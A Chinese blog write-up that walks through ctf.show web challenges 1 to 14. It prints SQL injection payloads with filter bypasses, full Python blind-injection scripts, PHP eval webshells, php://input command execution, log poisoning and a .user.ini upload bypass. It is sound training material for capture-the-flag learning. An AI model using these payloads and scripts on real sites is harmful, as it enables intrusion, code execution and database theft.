ctf.show_web(1-14)wp

21 篇文章 0 订阅

目录

web(1)

web(2)

web(3) 

 web(4)

web(5)

web(6) 

web(7)

 web(8)

 web(9)

 web(10)

 web(11)

 web(12)

web(13) 

 web(14)


web(1)

f12查看源码得到一串base64编码

 解码:Base64 在线编码解码 | Base64 加密解密 - Base64.us

 

web(2)

 首先使用弱口令

admin

123456

不行,再使用bp爆破

不行,最后是SQL注入

在用户名输入:

'or 1=1 unioin select 1,flag,3 from flag#

web(3) 

看到include为文件包含 

# php

include()  // 执行到include时才包含文件,找不到文件产生警告,脚本继续执行
require()  // 程序运行就包含文件,找不到文件产生错误,脚本停止

include_once()
require_once()
// 和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含

具体关于文件包含的内容参考:

(1条消息) CTF之web学习记录 -- 文件包含_文件包含ctf___lifanxin的博客-CSDN博客

文件包含获取一个url

一般文件包含可先使用php伪协议来解

bp抓包

 先在url上衔接php伪代码

?url=php://input   

再post下面写上payload   


<?php system('ls')?>    

得到根目录下的一个文件

使url=ctf_go_go_go

 web(4)

使用上一题的方法发现不行

下面就是远程文件包含漏洞的问题了 

 先尝试一下查看文件

http://798869c3-c4b0-4591-ba7b-828a6c321634.challenge.ctf.show/?url=/etc/passwd

 可以返回

再尝试返回日志也是成功的

在bp上向header写入shell再用蚁剑去连接日志目录

一句话木马:   

<?php @eval($_POST['attack']);?>

  

一句话插进去后放行再到网页上复制url地址

  

点进去在www的目录下发现flag 

 总结:文件包含首要使用php伪协议直接目录查看

             其次再使用一句话shell连接目录查看

web(5)

 先分析代码

get两个参数v1,v2

先了解php的函数

 

 最后是md5比较

这里的代码的意思是要v1是字母,v2是纯数字

然后比较md5的值,要知道md5是独一无二的

这里考察的应该是md5的绕过

md5绕过分为强(===)比较和弱(==)比较

弱比较是比较两个值但不比较两个值的类型

绕过原理

md5中如果两个字符经md5加密后的值为 0exxxxx形式,是会被认为是科学计数法,而且表示的是0*10的xxxx次方还是零,所以都是相等的。

所以PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a

 强比较即比数值也比类型

这时候就要用到php的md5函数处理数组的时候会都处理成NULL来实现绕过

这里使用弱比较方法

/?v1=QNKCDZO&v2=240610708

web(6) 

 弱口令不行,跳过爆破

直接sql注入

万能语句

' or '1'='1'#

说明有符号被过滤了

试着用/**/绕过空格

'/**/or/**/'1'='1'# 

明确是空过绕过后直接跟第二题一样 

'/**/or/**/'1'='1'union/**/select/**/1,flag,3/**/from/**/flag# 

web(7)

 点击三个按钮,url上出现id=1和id=2,id=3判断可能存在驻点

?id=1 and 1=1

 语句被过滤猜测是空格

?id=1/**/and/**/1=1

返回正常,说明存在驻点

判断位数 

?id=1/**/and/**/1=1/**/order/**/by/**/3

正常但是到

?id=1/**/and/**/1=1/**/order/**/by/**/4

 返回异常说明位数是3,接下来开始爆库名

?id=1/**/and/**/1=2/**/union/**/select/**/1,database(),3

这里1=2只是为了界面返回的更简洁一点1=1也是可以的 

 发现库名为web7,接下来爆表名

id=1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()

  得到表名中有flag,直接读取flag

id=1/**/and/**/1=2/**/union/**/select/**/1,flag,3/**/from/**/web7.flag

 web(8)

与上一题一样的界面,先正常操作看看是那一步有变化

 输入/?id=1' or '1'='1'#正常报错,有符号被过滤

再多次尝试空格绕过后发现过滤掉的不止是空格

下面就要用脚本或者工具来检测一下fuzz了

先说脚本

import requests
import os
sql_char = ['select',
			'union',
			'and',
			'or',
			'sleep',
			'where',
			'from',
			'limit',
			'group',
			'by',
			'like',
			'prepare',
			'as',
			'if',
			'char',
			'ascii',
			'mid',
			'left',
			'right',
			'substring',
			'handler',
			'updatexml',
			'extractvalue',
			'benchmark',
			'insert',
			'update',
			'all',
			'@',
			'#',
			'^',
			'&',
			'*',
			'\'',
			'"',
			'~',
			'`',
			'(',
			')',
			'--',
			'=',
			'/',
			'\\',
			' ']#基本字典
with open("D:/Desktop/过滤字典.txt", encoding='utf-8') as file_obj:#自定义字典
    contents = file_obj.readlines()
url = "http://544f1f76-83f8-4501-a5d0-b81c1ee79a89.challenge.ctf.show/"
header = {
    'Host':'544f1f76-83f8-4501-a5d0-b81c1ee79a89.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}
for char in contents:
	char = char.strip()
	payload = "?id=1"+char
	res = requests.get(url=url+payload,headers=header)
	if 'sql inject error' in res.text:#返回条件
		a=1
		print("该字符是非法字符: {0}".format(char))
	#这里只看被过滤的
	# else:
	# 	a=1
	# 	print("通过: {0}".format(char))

得到被过滤的字符 

下面是使用BP来查找fuzz

位置放在id=后,选择fuzz字典然后开始攻击

字典下载

131A3D7/web-sercuity-sql-dictionary: sql注入的fuzz字典 (github.com)

更多字典可以到github上查找

 过滤了很多的语法

union没有了这个基本上就考虑盲注了

and被过滤就用or来代替

and与or语法:

a and b   如果a为真则继续读取a,如果a为假则直接停止读取并返回假 

a or b      如果a为真停止读取并返回真,如果a为假继续读取b

这样用id=-1/**/or/**/就可以代替and了

逗号被过滤就用substr()这个函数中的一个用法来绕过

然后通过or后面的盲注一步一步判断真假来判断数据库长度,数据库名,表名,字段

?id=-1/**/or/**/length(database())=

对于较短的可以手动一个一个试出来,  这里利用py脚本来推测数据库长度:

def find_number():
    for shu in range(1,10):
        payload = "?id=-1/**/or/**/length(database())={}".format(shu)
        res = requests.get(url=url + payload)
        if ("Kipling" in res.text):
            print("数据库长度为:",shu)

爆数据库名

def find_database():
    name = ""
    for i in range(1,5):
        for j in range(48,128):
            payload = "?id=-1/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("If" in res.text):
                name += chr(j)
                print('第{}个字符:'.format(i),chr(j))
    print("数据库名:",name)

这里是利用ascii转字母为数进行比较 

得到数据库名为web8,接下来爆表名

def find_table():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload="?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if("Kipling" in res.text):
                name+=chr(j)
                print("第{}个字符为:".format(i),name)
    print("表名为:",name)

得到三个表名,爆flag的字段

def find_column():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("字段为:", name)

因为flag字样被过滤掉了,使用这里的 table_name=后是flag的十六进制ox666c6167

  

最后爆flag

def find_column():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("字段为:", name)

得到flag

ctfshow{3691034b-37f7-446f-a06d-87f5f3ea601e}

完整脚本:

import requests
import string
import binascii

url="http://ef5561c8-e404-43af-8a71-15b3999c93b0.challenge.ctf.show/"

header = {
    'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}#本题不需要
def find_number():
    for shu in range(1,10):
        payload = "?id=-1/**/or/**/length(database())={}".format(shu)
        res = requests.get(url=url + payload)
        if ("Kipling" in res.text):
            print("数据库长度为:",shu)

def find_database():
    name = ""
    for i in range(1,5):
        for j in range(48,128):
            payload = "?id=-1/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("If" in res.text):
                name += chr(j)
                print('第{}个字符:'.format(i),chr(j))
    print("数据库名:",name)

def find_table():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload="?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if("Kipling" in res.text):
                name+=chr(j)
                print("第{}个字符为:".format(i),name)
    print("表名为:",name)

def find_column():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("字段为:", name)

def find_name():
    name=""
    for i in range(1,45):
        for j in range(32,128):
            payload = "?id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)from/**/{}/**/for/**/1))={}".format(i,j)
            res = requests.get(url=url + payload)
            if ("Kipling" in res.text):
                name += chr(j)
                print("第{}个字符为:".format(i),name)
    print("flag:", name)

find_name()

 web(9)

 首先是想着注入,但发现无论怎么注入都是没有反应,后面也用过爆破的方法但有些口令输入不返回password error这明显是不能爆破的,后面看提示是要先对端口进行扫描

用御剑扫描(很慢)

访问robots

 访问index.phps得到

mysqli_num_rows()函数是用来判断是否有返回值的

md5() 这个函数是重点

 大概意思就是把输入的password进行md5编码后再进行了一次二进制格式的编码使成为的字符串

select * from user where username ='admin' and password ='".md5($password,true)."'"

这里看出注入点就是md5()这里,目的就是要让输入的内容经过编码后成为payload

再看mysqli_query() 这个函数:

这里分析 当输入的password判断为真的时候才会返回flag,哪从上题只能用一个or,只要or后面是非零数字(true)不管前面是什么整个语句就是true,所以使用

'or'1

 单引号是为了闭合前后的单引号

这样目的就很清楚了,只要找到一个在经过md5和二进制编码后得到含有'or'1的字符串就行了

更加具体可查找含有'or'1的md5值,原理可以参考:

(2条消息) sql注入:md5($password,true)_md5($password)_March97的博客-CSDN博客

 里面说了要查找到合适的字符串需要大量的计算,所以只能是用现已知的两个:

ffifdyop(常用)

 129581926211651571912466741651878684928(这个在本道题不能用,有知道为什么的师傅吗?)

 输入进去

 web(10)

 多了一个取消键,点击一下得到源码

 其中

$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";

 空格也被过滤掉了,可以使用/**/来代替空格

if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}

过滤了部分的关键词

$sql="select * from user where username = '$username'";

这个地方可以写语句注入

if($password==$row['password'])

难点在这里,对输入的password与数据库中的每一行进行比对

首先想到的是写语句爆除password但过滤的关键词难以实现

另一个办法在password的表中在写多一个已知password,但奈何我能力有限找不到写入数据库的语句,最后也是参考了别人得到wp得知可以使用with rollup这个语句的特性

with rollup关键字会在所有记录的最后加上一条记录且为NULL,该记录是上面所有记录的总和

 这样当枚举到这一列的时候password为NULL空的与输入空密码就是能匹配得上返回flag

payload='/**/or/**/1/**/group/**/by/**/password/**/with/**/rollup#

 group by函数:对进行查询的结果进行分类。group by函数后面跟什么就按什么分类


 web(11)

 直接给源码其中

if($password==$_SESSION['password'])

如果变量 $password 的值等于当前会话中存储的 $_SESSION['password'] 的值就会返回flag

关于session的了解可以参考这位师傅的博客

(1条消息) php-session反序列化_php session反序列化_葫芦娃42的博客-CSDN博客

在浏览器中,HTTP请求一个页面时,其中后端php执行session_start()会打开一个会话,此时会寻找COOKIE中的PHPSESSID 是否为空,若不为空session_id()就是这个值,若为空则随机生成一个32位session_id存入PHPSESSID中

但储存的值是被序列化后的不知道是什么,看提示是抓包

 找到了cookie,把该id修改为空,输入password为空发送就返回flag

 web(12)

查看源码

 提示是文件执行漏洞的利用

所以本题是可以直接使用文件执行来找出flag的

glob() 函数返回一个包含匹配指定模式的文件名或目录的数组。

该函数返回一个包含有匹配文件/目录的数组。如果失败则返回 FALSE。

print_r() — 打印关于变量的易于理解的信息。

 所以使用:

?cmd=print_r(glob("*"));

返回两个数组,查看第一个 用highlight_file()函数,其作用:

 对文件进行 PHP 语法高亮显示,语法通过使用 HTML 标签进行高亮。

 所以写入:

?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

参考博客:(1条消息) CTF show WEB12_ctf.show_web12_yu22x的博客-CSDN博客 

web(13) 

 文件上传

写一句话木马

<?php @eval($_POST['a']);?>

 文件大小错误,大小出问题了应该有相关的标准

发现提交后url上出现了index.php使用index.php.bak查看备份

有时候web会常出现文件备份泄露的情况

.hg查看源码泄漏
.git查看源码泄漏
.DS_Store文件泄漏
.phps .bak结尾的网页

 

得到源码后分析是要内容小于等于24,文件名字小于9,尾缀小于等于3且不是php的文件

 满足条件的木马,但是由于后缀是txt服务器无法解析该php语句

<?php eval($_POST['a']);

 这里学到一个巧妙的绕过方法----利用.user.ini包含php文件绕过

使用.user.ini可以让所有php自动包含某个文件,这个文件可以是包括正常的php的任何文件

1.先将上面写的装有一句话木马的txt文件上传(这里假设文件为1.txt)

2.再创一个user.ini类型里面先写入auto_prepend_file =1.txt并上传

3.使用蚁剑测试是否连接成功

 再以post方式传:

g=print_r(glob("*"));

查看第一个文件

再输入 :

g=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); 

 

本题主要是使用user.ini来绕过php过滤上传 

 web(14)

当c=3时返回:

 进入发现注点

 if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
        die('@A@');

 发现过滤了这些和空格但没有过滤select

爆数据库:

?query=-1/**/union/**/select/**/database()

 到爆表名,因为过滤了information_schema使用可以使用反引号来绕过或者使用innodb_table_stats来代替具体可以参考这篇博客:

(1条消息) Mysql元数据获取方法(information_schema绕过方法)_mysql获取表的元数据_Thunderclap_的博客-CSDN博客

 ?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

 ?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name="content"

 直接爆值

 ?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/web.content

 

 发现没有flag但说了secret中有secret,所以直接用load_file()函数

使用方法:   load_file(文件路径)

 所得payload为:

?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")

 f12可看到

 最后直接读取real_flag_is_here这个文件

?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")
 

参考博客:

(1条消息) CTFshow web14_Je3Z的博客-CSDN博客

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值